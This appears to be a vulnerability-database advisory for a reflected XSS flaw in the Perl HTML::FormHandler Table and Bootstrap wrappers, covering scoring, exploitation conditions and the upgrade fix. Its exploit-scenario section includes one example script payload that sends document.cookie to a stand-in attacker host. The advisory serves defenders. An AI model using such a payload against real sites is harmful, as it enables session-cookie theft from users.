Skip to main content

HTML::FormHandler CVE-2026-85485

| EUVDEUVD-2026-74169 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-08 9b29abf9-4ab0-4765-b253-1875cd9b441e GHSA-m5h3-w9r6-p935
6.1
CVSS 3.1 · Vendor: 9b29abf9-4ab0-4765-b253-1875cd9b441e
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts form submission with XSS payload as field value
  2. Delivery
    Server validates and rejects input
  3. Exploit
    Unpatched Table/Bootstrap wrapper renders error with raw payload
  4. Execution
    Victim browser receives HTML containing unencoded script
  5. Persist
    Browser executes injected JavaScript
  6. Impact
    Session data or actions exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: (1) the target application uses HTML::FormHandler with the Table layout (HTML::FormHandler::Widget::Form::Table), the Bootstrap 2 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap), or the Bootstrap 3 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap3) - applications using other layouts fixed in 0.410000 are not affected; (2) the form's validation logic reflects attacker-controlled input (e.g., rejected field values) in the error messages rendered to the page, which is common but depends on field configuration; (3) the victim must view the rendered error page (CVSS UI:R), so the attacker must craft a scenario - such as a malicious link that pre-populates and submits the form - to trigger error display to the target user. Applications that strip or whitelist error message content before passing it to FormHandler, or that do not echo rejected input in errors, are not exploitable.

Impact

The CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) is consistent with standard reflected XSS scoring. The scope-changed flag (S:C) captures the browser-context boundary crossing. EPSS at 0.19% (8th percentile) reflects low exploitation probability; no CISA KEV entry exists and no public exploit code is identified at time of analysis. Real-world risk is bounded by two conditions: the target application must use one of the three affected widget modules, and the rendered error messages must include attacker-controlled input such as rejected field values - common but not universal behavior. The UI:R metric means the attacker must induce the victim to view the error-rendered page, which limits mass exploitation. This is a residual gap in an incomplete prior fix rather than a novel vulnerability class; developers who upgraded to 0.410000 for CVE-2026-19872 but have not yet reached 0.410002 remain exposed in these three specific layouts.

Exploit ScenarioDerived

An attacker submits a web form rendered by HTML::FormHandler using the Bootstrap 3 wrapper, embedding a JavaScript payload such as <script>fetch('https://attacker.example/?c='+document.cookie)</script> as a field value. Validation rejects the input, and the error message containing the raw payload is inserted into the Bootstrap wrapper HTML without encoding. When the page re-renders the error to the victim's browser - whether the attacker themselves (self-XSS, limited impact) or another user viewing a shared error state - the injected script executes and can exfiltrate session cookies or perform actions in the victim's authenticated session.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Reflected XSS in HTML::FormHandler before 0.410002 allows unauthenticated network attackers to inject JavaScript into rendered Perl web application pages by submitting form input containing script content. The Table form layout and Bootstrap 2 and 3 wrappers interpolated error strings - including rejected field values - directly into HTML without HTML-entity encoding, an incomplete fix relative to CVE-2026-19872 (which patched equivalent paths in other layouts in version 0.410000). No public exploit is identified and EPSS is 0.19%; risk is limited to applications using the three affected widget modules.

RemediationAI

Upgrade HTML::FormHandler to version 0.410002 or later via CPAN (cpan HTML::FormHandler or cpanm HTML::FormHandler). The fix is confirmed by the CPAN changelog and the commit at https://github.com/gshank/html-formhandler/commit/2ea9e138dbfe231e317c13936abe6583217c807f.patch, which adds HTML::Entities::encode_entities() calls in all three affected widget modules. If an immediate upgrade is not possible, a compensating control is to switch affected forms to layouts that were already fixed in 0.410000 - for example, replacing Table layout with Simple or Grid layouts - though this requires template and configuration changes and may alter rendered appearance. Alternatively, applications can sanitize or restrict attacker-influenced content before it reaches form error messages at the application layer, though this is fragile and not recommended as a primary mitigation.

Affected ProductsAI

HTML::FormHandler versions before 0.410002 for Perl are affected, specifically when applications use the Table form layout (HTML::FormHandler::Widget::Form::Table), the Bootstrap 2 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap), or the Bootstrap 3 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap3). Applications using only the layouts patched in version 0.410000 for CVE-2026-19872 are not affected by this specific CVE. The fixed release is 0.410002, with changelog at https://metacpan.org/release/ABRAXXA/HTML-FormHandler-0.410002/changes. No CPE string was provided in the input data.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HTML::FormHandler is a Perl CPAN module (distribution ABRAXXA/HTML-FormHandler) providing form rendering and validation, commonly used with the Catalyst web framework. The vulnerability resides in three widget modules: HTML::FormHandler::Widget::Form::Table, HTML::FormHandler::Widget::Wrapper::Bootstrap, and HTML::FormHandler::Widget::Wrapper::Bootstrap3. Each module interpolated output from $result->all_form_errors or $result->all_errors directly into surrounding HTML markup. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root cause: the absence of HTML::Entities::encode_entities() before string insertion. The commit diff (2ea9e138) confirms the fix adds encode_entities via a Perl map transform over each error string in all three files, exactly mirroring the approach taken for other layouts in 0.410000.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (9b29abf9-4ab0-4765-b253-1875cd9b441e) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-accessible form submission requires no authentication; victim must view the rendered error page (UI:R); scope change (S:C) reflects XSS executing in browser context with limited C/I impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM
Red Hat 8.1 HIGH

Primary rating from Vendor (9b29abf9-4ab0-4765-b253-1875cd9b441e).

CVSS VectorVendor: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Sep 10, 2026 - 18:23 NVD
6.1 (MEDIUM)
CVE Published
Sep 08, 2026 - 20:18 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

HTML::FormHandler versions before 0.410002 for Perl render some error messages into HTML without escaping.

The Table form layout and the Bootstrap 2 and 3 wrappers splice each error string straight into the surrounding markup. Version 0.410000, the fix for CVE-2026-19872, escaped the equivalent values in the other layouts and wrappers, and 0.410002 extended that to these three.

Error messages that contain attacker-influenced content such as rejected field values could embed JavaScript in rendered pages.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Low
niche Perl CPAN module, primarily used in Catalyst framework applications
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy